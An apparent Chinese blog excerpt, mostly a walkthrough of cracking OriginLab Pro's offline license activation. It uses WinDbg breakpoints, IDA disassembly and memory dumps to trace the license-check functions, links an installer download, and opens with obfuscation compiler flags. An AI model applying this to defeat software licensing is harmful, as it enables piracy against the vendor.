<div class="highlight"><pre><span></span><code>-D__CUDACC__ -D_ALLOW_COMPILER_AND_STL_VERSION_MISMATCH -mllvm -bcf -mllvm -bcf_prob=73 -mllvm -bcf_loop=1 -mllvm -sub -mllvm -sub_loop=5 -mllvm -fla -mllvm -split_num=5 -mllvm -aesSeed=DEADBEEFDEADCODEDEADBEEFDEADCODE
</code></pre></div>
<p><img alt="输入图片说明" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YGQiPrPEsD.jpg"></p>
<p>然后就可以正常使用了</p>
<p>这是混淆前后的exe在IDA中的拓扑图对比</p>
<p><img alt="输入图片说明" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IBTEXMFXqr.jpg"></p>API HOOK技术在MFC程序破解过程中的应用2023-08-02T00:00:00+02:002023-08-02T00:00:00+02:0012138tag:None,2023-08-02:api-hookji-zhu-zai-mfccheng-xu-po-jie-guo-cheng-zhong-de-ying-yong.html<p><strong>本文中所有涉及到的压缩包密码均为1</strong></p>
<p>最近破解了一个MFC程序,<a href="https://www.originlab.com/">OriginLab Pro</a>,这里记录一下相关过程以及学到的一些东西</p>
<p><a href="https://github.com/wqreytuk/originlabproinstaller">软件下载 …</a></p><p><strong>本文中所有涉及到的压缩包密码均为1</strong></p>
<p>最近破解了一个MFC程序,<a href="https://www.originlab.com/">OriginLab Pro</a>,这里记录一下相关过程以及学到的一些东西</p>
<p><a href="https://github.com/wqreytuk/originlabproinstaller">软件下载地址</a>下载整个仓库然后和并解压即可</p>
<h1>定位激活代码</h1>
<p>程序安装完毕之后,打开就会弹出激活界面</p>
<p><img alt="image-20230731133459135" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LCnuAohGcD.jpg"></p>
<p>我们选择使用license进行离线激活</p>
<p><img alt="image-20230731133626522" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/oOokifutYe.jpg"></p>
<p>对于这种输入框,最后肯定是要使用<code>USER32!GetWindowText*</code>来获取用户输入的,在输入框中随便输个字符串,然后在windbg中使用bm下个通配符断点</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="mi">005</span><span class="o">></span><span class="w"> </span><span class="n">bm</span><span class="w"> </span><span class="n">user32</span><span class="o">!</span><span class="n">getwindowtext</span><span class="o">*</span>
<span class="w"> </span><span class="mi">1</span><span class="o">:</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="n">a7f06f50</span><span class="w"> </span><span class="err">@</span><span class="o">!</span><span class="s2">"USER32!GetWindowTextW$filt$0"</span>
<span class="w"> </span><span class="mi">2</span><span class="o">:</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="n">a7f06e95</span><span class="w"> </span><span class="err">@</span><span class="o">!</span><span class="s2">"USER32!GetWindowTextA$filt$0"</span>
<span class="w"> </span><span class="mi">3</span><span class="o">:</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="n">a7ed9490</span><span class="w"> </span><span class="err">@</span><span class="o">!</span><span class="s2">"USER32!GetWindowTextA"</span>
<span class="w"> </span><span class="mi">4</span><span class="o">:</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="n">a7eda200</span><span class="w"> </span><span class="err">@</span><span class="o">!</span><span class="s2">"USER32!GetWindowTextLengthW"</span>
<span class="w"> </span><span class="mi">5</span><span class="o">:</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="n">a7edc2f0</span><span class="w"> </span><span class="err">@</span><span class="o">!</span><span class="s2">"USER32!GetWindowTextW"</span>
<span class="w"> </span><span class="mi">6</span><span class="o">:</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="n">a7f59ce0</span><span class="w"> </span><span class="err">@</span><span class="o">!</span><span class="s2">"USER32!GetWindowTextLengthA"</span>
</code></pre></div>
<p>之后点击OK</p>
<p>实际测试发现,在我们点击OK之前,这些断点就会被反复触发,这样会干扰我们找到真正的license处理逻辑,因此我们需要改进一下,先在<code>COMCTL32!Button_WndProc+0x7fb</code>下断点,这个断点只有在点击按钮的时候才会被触发,然后点击OK,该断点触发之后,再下上面的通配符断点,即可定位到真正的license处理逻辑</p>
<p><img alt="image-20230731142s12806" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/qHqYlihkZI.jpg"></p>
<p>我们使用IDA来看一下调用栈中编号为02的位置,首先这个代码位于<code>C:\Program Files\OriginLab\Origin2023b\ou.dll</code></p>
<p>计算出偏移量</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="p">:</span><span class="mo">000</span><span class="o">></span><span class="w"> </span><span class="n">lm</span><span class="w"> </span><span class="n">m</span><span class="w"> </span><span class="o">*</span><span class="n">ou</span><span class="o">*</span>
<span class="n">Browse</span><span class="w"> </span><span class="n">full</span><span class="w"> </span><span class="n">module</span><span class="w"> </span><span class="n">list</span>
<span class="n">start</span><span class="w"> </span><span class="n">end</span><span class="w"> </span><span class="n">module</span><span class="w"> </span><span class="n">name</span>
<span class="mo">00000000</span><span class="sb">`10000000 00000000`</span><span class="mi">1046</span><span class="n">d000</span><span class="w"> </span><span class="n">Resource</span><span class="w"> </span><span class="p">(</span><span class="n">deferred</span><span class="p">)</span><span class="w"> </span>
<span class="mo">00007</span><span class="n">ffb</span><span class="sb">`53b40000 00007ffb`</span><span class="mi">54452000</span><span class="w"> </span><span class="n">SogouPy</span><span class="w"> </span><span class="p">(</span><span class="n">deferred</span><span class="p">)</span><span class="w"> </span>
<span class="mo">00007</span><span class="n">ffb</span><span class="sb">`54460000 00007ffb`</span><span class="mi">546</span><span class="n">a3000</span><span class="w"> </span><span class="n">sogoutsf</span><span class="w"> </span><span class="p">(</span><span class="n">deferred</span><span class="p">)</span><span class="w"> </span>
<span class="mo">00007</span><span class="n">ffb</span><span class="sb">`54d90000 00007ffb`</span><span class="mi">54</span><span class="n">de1000</span><span class="w"> </span><span class="n">OUIM</span><span class="w"> </span><span class="p">(</span><span class="n">deferred</span><span class="p">)</span><span class="w"> </span>
<span class="mo">00007</span><span class="n">ffb</span><span class="sb">`76fb0000 00007ffb`</span><span class="mi">76</span><span class="n">feb000</span><span class="w"> </span><span class="n">OCcontour</span><span class="w"> </span><span class="p">(</span><span class="n">deferred</span><span class="p">)</span><span class="w"> </span>
<span class="mo">00007</span><span class="n">ffb</span><span class="sb">`79400000 00007ffb`</span><span class="mi">794</span><span class="n">a4000</span><span class="w"> </span><span class="n">Outl</span><span class="w"> </span><span class="p">(</span><span class="n">deferred</span><span class="p">)</span><span class="w"> </span>
<span class="mo">00007</span><span class="n">ffb</span><span class="sb">`794b0000 00007ffb`</span><span class="mi">79</span><span class="n">be7000</span><span class="w"> </span><span class="n">ou</span><span class="w"> </span><span class="p">(</span><span class="n">export</span><span class="w"> </span><span class="n">symbols</span><span class="p">)</span><span class="w"> </span><span class="n">C:</span><span class="o">\</span><span class="n">Program</span><span class="w"> </span><span class="n">Files</span><span class="o">\</span><span class="n">OriginLab</span><span class="o">\</span><span class="n">Origin2023b</span><span class="o">\</span><span class="n">ou</span><span class="o">.</span><span class="n">dll</span>
<span class="mi">0</span><span class="p">:</span><span class="mo">000</span><span class="o">></span><span class="w"> </span><span class="p">?</span><span class="w"> </span><span class="n">ou</span><span class="o">!</span><span class="nn">COUxlView::</span><span class="n">xlWorksheetToNativeOrigin</span><span class="o">+</span><span class="mh">0x23489</span><span class="o">-</span><span class="mo">00007</span><span class="n">ffb</span><span class="sb">`794b0000 </span>
<span class="sb">Evaluate expression: 1271337 = 00000000`</span><span class="mo">0013662</span><span class="mi">9</span>
</code></pre></div>
<p>根据该偏移量在IDA中跳转到对应的位置</p>
<div class="highlight"><pre><span></span><code><span class="nl">.text:</span><span class="err">000000018013661</span><span class="nf">C</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">38</span><span class="no">h</span><span class="err">+</span><span class="no">arg_18</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">0000000180136621</span><span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="no">rbx</span>
<span class="nl">.text:</span><span class="err">0000000180136624</span><span class="w"> </span><span class="nf">call</span><span class="w"> </span><span class="err">?</span><span class="no">GetWindowTextW@CWnd@@QEBAXAEAV</span><span class="err">?</span><span class="no">$CStringT@_WV</span><span class="err">?</span><span class="no">$StrTraitMFC_DLL@_WV</span><span class="err">?</span><span class="no">$ChTraitsCRT@_W@ATL@@@@@ATL@@@Z</span><span class="w"> </span><span class="c1">; CWnd::GetWindowTextW(ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>> &)</span>
<span class="nl">.text:</span><span class="err">0000000180136629</span><span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">38</span><span class="no">h</span><span class="err">+</span><span class="no">arg_18</span><span class="p">]</span>
</code></pre></div>
<p>根据我们的经验,一眼就能看出rdx是传出参数,也就是说<code>[rsp+38h+arg_18]</code>会保存我们输入的license</p>
<p><img alt="image-20230731142312806" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wIZMzPTZVP.jpg"></p>
<h1>分析汇编代码</h1>
<p>把函数<code>sub_180136600</code>整体给看了一下,并没有找到激活相关的代码,那我们就接着看调用栈中编号03的代码,也就是函数<code>sub_180134090</code></p>
<h2>ou!sub_180134090</h2>
<p>该函数中的关键代码如下:</p>
<div class="highlight"><pre><span></span><code><span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">AA</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">28</span><span class="no">h</span><span class="err">+</span><span class="no">arg_8</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">AF</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="no">cs</span><span class="p">:</span><span class="err">??</span><span class="mi">0</span><span class="no">CStringUTF8@@QEAA@XZ</span><span class="w"> </span><span class="c1">; CStringUTF8::CStringUTF8(void)</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">B5</span><span class="w"> </span><span class="no">nop</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">B6</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rdi</span><span class="err">+</span><span class="mi">490</span><span class="no">h</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">BD</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">r8</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">28</span><span class="no">h</span><span class="err">+</span><span class="no">arg_8</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">C2</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="no">rdi</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">C5</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="no">sub_180136600</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">CA</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">28</span><span class="no">h</span><span class="err">+</span><span class="no">arg_8</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">CF</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="no">sub_18012EF30</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">D4</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">ebx</span><span class="p">,</span><span class="w"> </span><span class="no">eax</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">D6</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">28</span><span class="no">h</span><span class="err">+</span><span class="no">arg_0</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">DB</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="no">cs</span><span class="p">:</span><span class="err">??</span><span class="mi">0</span><span class="no">CStringUTF8@@QEAA@XZ</span><span class="w"> </span><span class="c1">; CStringUTF8::CStringUTF8(void)</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">E1</span><span class="w"> </span><span class="no">nop</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">E2</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">r9d</span><span class="p">,</span><span class="w"> </span><span class="no">ebx</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">E5</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">r8</span><span class="p">,</span><span class="w"> </span><span class="no">aBc04</span><span class="w"> </span><span class="c1">; "BC04:"</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">EC</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="w"> </span><span class="no">aSD_2</span><span class="w"> </span><span class="c1">; "%s%d"</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">F3</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">28</span><span class="no">h</span><span class="err">+</span><span class="no">arg_0</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">F8</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="no">cs</span><span class="p">:</span><span class="err">?</span><span class="no">Format@CStringUTF8@@QEAAXPEBDZZ</span><span class="w"> </span><span class="c1">; CStringUTF8::Format(char const *,...)</span>
<span class="nl">.text:</span><span class="err">00000001801340</span><span class="nf">FE</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">r8d</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="nl">.text:</span><span class="err">0000000180134104</span><span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">28</span><span class="no">h</span><span class="err">+</span><span class="no">arg_0</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">0000000180134109</span><span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="no">ecx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">r8</span><span class="err">+</span><span class="mi">14</span><span class="no">h</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">000000018013410</span><span class="nf">D</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="no">LABUTIL_diagnostics</span>
<span class="nl">.text:</span><span class="err">0000000180134112</span><span class="w"> </span><span class="nf">nop</span>
<span class="nl">.text:</span><span class="err">0000000180134113</span><span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">28</span><span class="no">h</span><span class="err">+</span><span class="no">arg_0</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">0000000180134118</span><span class="w"> </span><span class="nf">call</span><span class="w"> </span><span class="no">cs</span><span class="p">:</span><span class="no">__imp_</span><span class="err">??</span><span class="mi">1</span><span class="no">CStringUTF8@@QEAA@XZ</span><span class="w"> </span><span class="c1">; CStringUTF8::~CStringUTF8(void)</span>
<span class="nl">.text:</span><span class="err">000000018013411</span><span class="nf">E</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="no">cs</span><span class="p">:</span><span class="no">dword_1803D4898</span>
<span class="nl">.text:</span><span class="err">0000000180134124</span><span class="w"> </span><span class="nf">test</span><span class="w"> </span><span class="no">ebx</span><span class="p">,</span><span class="w"> </span><span class="no">ebx</span>
<span class="nl">.text:</span><span class="err">0000000180134126</span><span class="w"> </span><span class="nf">cmovnz</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="no">ebx</span>
<span class="nl">.text:</span><span class="err">0000000180134129</span><span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">cs</span><span class="p">:</span><span class="no">dword_1803D4898</span><span class="p">,</span><span class="w"> </span><span class="no">eax</span>
<span class="nl">.text:</span><span class="err">000000018013412</span><span class="nf">F</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">28</span><span class="no">h</span><span class="err">+</span><span class="no">arg_8</span><span class="p">]</span>
<span class="nl">.text:</span><span class="err">0000000180134134</span><span class="w"> </span><span class="nf">call</span><span class="w"> </span><span class="no">cs</span><span class="p">:</span><span class="no">__imp_</span><span class="err">??</span><span class="mi">1</span><span class="no">CStringUTF8@@QEAA@XZ</span><span class="w"> </span><span class="c1">; CStringUTF8::~CStringUTF8(void)</span>
</code></pre></div>
<p>我们在<code>ou+1340C5</code>下断点,观察函数<code>sub_180136600</code>调用完成后第二个参数和第三个参数的情况</p>
<p><img alt="image-20230731145750931" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JlgiMptuGD.jpg"></p>
<p>很明显,第3个参数<code>rsp+28h+arg_8</code>是传出参数,调用完成后会保存我们的license字符串</p>
<p>继续观察这段代码我们可以发现,license text作为第1个参数传给了函数<code>sub_18012EF30</code>,返回值放到ebx中并最终作为函数<code>CStringUTF8::Format</code>的第4个参数,然后这个函数就结束了</p>
<p>那现在我们就进入函数<code>sub_18012EF30</code>中一探究竟</p>
<h2>ou!sub_18012EF30</h2>
<p>首先我们通过windbg的调试可以确定下面这个函数的两次调用分别返回了字符串<code>REGID</code>和<code>FSN</code></p>
<p><img alt="image-20230731150429309" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/gIpLbLsGYC.jpg"></p>
<p>后面函数<code>sub_180136A90</code>也被调用了两次,我们先看第一次调用的参数传入情况</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">dc</span><span class="w"> </span><span class="n">poi</span><span class="o">(</span><span class="n">rcx</span><span class="o">)</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c9e8</span><span class="w"> </span><span class="mi">73696874</span><span class="w"> </span><span class="mi">20736920</span><span class="w"> </span><span class="mi">6563696</span><span class="n">c</span><span class="w"> </span><span class="mi">2065736</span><span class="n">e</span><span class="w"> </span><span class="k">this</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">license</span><span class="w"> </span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c9f8</span><span class="w"> </span><span class="mi">74786574</span><span class="w"> </span><span class="mi">72003300</span><span class="w"> </span><span class="mi">6</span><span class="n">e696769</span><span class="w"> </span><span class="mi">5</span><span class="n">c62614c</span><span class="w"> </span><span class="n">text</span><span class="o">.</span><span class="mi">3</span><span class="o">.</span><span class="na">riginLab</span><span class="o">\</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4ca08</span><span class="w"> </span><span class="mi">6563694</span><span class="n">c</span><span class="w"> </span><span class="mi">0065736</span><span class="n">e</span><span class="w"> </span><span class="mi">00756</span><span class="n">a70</span><span class="w"> </span><span class="mi">00</span><span class="n">adf00d</span><span class="w"> </span><span class="n">License</span><span class="o">.</span><span class="na">pju</span><span class="o">.....</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4ca18</span><span class="w"> </span><span class="n">eea4cb58</span><span class="w"> </span><span class="mi">0000015</span><span class="n">f</span><span class="w"> </span><span class="mi">0000002</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="n">X</span><span class="o">...</span><span class="n">_</span><span class="o">.../.......</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4ca28</span><span class="w"> </span><span class="mi">65780035</span><span class="w"> </span><span class="mi">646</span><span class="n">f4d64</span><span class="w"> </span><span class="mi">6</span><span class="n">e496c65</span><span class="w"> </span><span class="mi">2</span><span class="n">e626968</span><span class="w"> </span><span class="mi">5</span><span class="o">.</span><span class="na">xedModelInhib</span><span class="o">.</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4ca38</span><span class="w"> </span><span class="mi">00666466</span><span class="w"> </span><span class="mi">61745320</span><span class="w"> </span><span class="mi">64656</span><span class="n">b63</span><span class="w"> </span><span class="mi">73694820</span><span class="w"> </span><span class="n">fdf</span><span class="o">.</span><span class="w"> </span><span class="n">Stacked</span><span class="w"> </span><span class="n">His</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4ca48</span><span class="w"> </span><span class="mi">72676</span><span class="n">f00</span><span class="w"> </span><span class="mi">6</span><span class="n">f2e6d61</span><span class="w"> </span><span class="mi">00756</span><span class="n">a70</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">.</span><span class="na">ogram</span><span class="o">.</span><span class="na">opju</span><span class="o">.....</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4ca58</span><span class="w"> </span><span class="n">eea4ca18</span><span class="w"> </span><span class="mi">0000015</span><span class="n">f</span><span class="w"> </span><span class="mi">0000002</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">....</span><span class="n">_</span><span class="o">.../.......</span>
<span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">dc</span><span class="w"> </span><span class="n">poi</span><span class="o">(</span><span class="n">rdx</span><span class="o">)</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a08</span><span class="w"> </span><span class="mi">49474552</span><span class="w"> </span><span class="mi">20730044</span><span class="w"> </span><span class="mi">6563696</span><span class="n">c</span><span class="w"> </span><span class="mi">0065736</span><span class="n">e</span><span class="w"> </span><span class="n">REGID</span><span class="o">.</span><span class="na">s</span><span class="w"> </span><span class="n">license</span><span class="o">.</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a18</span><span class="w"> </span><span class="n">fa7c2978</span><span class="w"> </span><span class="mi">0000015</span><span class="n">f</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="n">x</span><span class="o">)|.</span><span class="n">_</span><span class="o">...........</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a28</span><span class="w"> </span><span class="mi">003</span><span class="n">d4c43</span><span class="w"> </span><span class="mi">33323632</span><span class="w"> </span><span class="mi">62302</span><span class="n">e00</span><span class="w"> </span><span class="mi">005</span><span class="n">c6100</span><span class="w"> </span><span class="n">CL</span><span class="o">=.</span><span class="mi">2623</span><span class="o">..</span><span class="mi">0</span><span class="n">b</span><span class="o">.</span><span class="na">a</span><span class="o">\.</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a38</span><span class="w"> </span><span class="n">fa7c2a18</span><span class="w"> </span><span class="mi">0000015</span><span class="n">f</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">.*|.</span><span class="n">_</span><span class="o">...........</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a48</span><span class="w"> </span><span class="mi">72747845</span><span class="w"> </span><span class="mi">76650061</span><span class="w"> </span><span class="mi">6</span><span class="n">c2e6c61</span><span class="w"> </span><span class="mi">00006369</span><span class="w"> </span><span class="n">Extra</span><span class="o">.</span><span class="na">eval</span><span class="o">.</span><span class="na">lic</span><span class="o">..</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a58</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a68</span><span class="w"> </span><span class="mi">44500003</span><span class="w"> </span><span class="mi">2</span><span class="n">e324345</span><span class="w"> </span><span class="mi">00464446</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">..</span><span class="n">PDEC2</span><span class="o">.</span><span class="na">FDF</span><span class="o">.....</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a78</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">00000002</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">dc</span><span class="w"> </span><span class="n">poi</span><span class="o">(</span><span class="n">r8</span><span class="o">)</span>
<span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="mi">8</span><span class="n">a77f050</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="o">................</span>
<span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="mi">8</span><span class="n">a77f060</span><span class="w"> </span><span class="mi">8</span><span class="n">a77a8f8</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="w"> </span><span class="mi">00000020</span><span class="w"> </span><span class="mi">00000</span><span class="n">fff</span><span class="w"> </span><span class="o">..</span><span class="n">w</span><span class="o">.....</span><span class="w"> </span><span class="o">.......</span>
<span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="mi">8</span><span class="n">a77f070</span><span class="w"> </span><span class="mi">00015262</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="n">fd2fff10</span><span class="w"> </span><span class="mi">0000015</span><span class="n">f</span><span class="w"> </span><span class="n">bR</span><span class="o">......../.</span><span class="n">_</span><span class="o">...</span>
<span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="mi">8</span><span class="n">a77f080</span><span class="w"> </span><span class="n">fa7c3e78</span><span class="w"> </span><span class="mi">0000015</span><span class="n">f</span><span class="w"> </span><span class="mi">8</span><span class="n">a7721b0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="w"> </span><span class="n">x</span><span class="o">>|.</span><span class="n">_</span><span class="o">....!</span><span class="n">w</span><span class="o">.....</span>
<span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="mi">8</span><span class="n">a77f090</span><span class="w"> </span><span class="mi">8</span><span class="n">a7721c0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="w"> </span><span class="n">ffffffff</span><span class="w"> </span><span class="n">ffffffff</span><span class="w"> </span><span class="o">.!</span><span class="n">w</span><span class="o">.............</span>
<span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="mi">8</span><span class="n">a77f0a0</span><span class="w"> </span><span class="n">ffffffff</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="o">................</span>
<span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="mi">8</span><span class="n">a77f0b0</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="mi">020007</span><span class="n">d0</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="o">................</span>
<span class="mi">00007</span><span class="n">ffb</span><span class="err">`</span><span class="mi">8</span><span class="n">a77f0c0</span><span class="w"> </span><span class="mi">8</span><span class="n">a77a8f8</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffb</span><span class="w"> </span><span class="mi">00000040</span><span class="w"> </span><span class="mi">00000</span><span class="n">fff</span><span class="w"> </span><span class="o">..</span><span class="n">w</span><span class="o">.....</span><span class="err">@</span><span class="o">.......</span>
<span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="n">r9</span>
<span class="n">r9</span><span class="o">=</span><span class="mi">000000000000000</span><span class="n">b</span>
</code></pre></div>
<ul>
<li>1p:我们输入的license text</li>
<li>2p:REGID</li>
<li>3p:传出参数</li>
<li>4p:硬编码的值,0xB</li>
</ul>
<h2>ou!sub_180136A90</h2>
<p>现在我们进入函数<code>sub_180136A90</code>,这个函数中调用的都是CString类的一些函数,因此很容易理清逻辑,这个函数会对我们的输入的license字符串作如下处理</p>
<ul>
<li>license text转为大写</li>
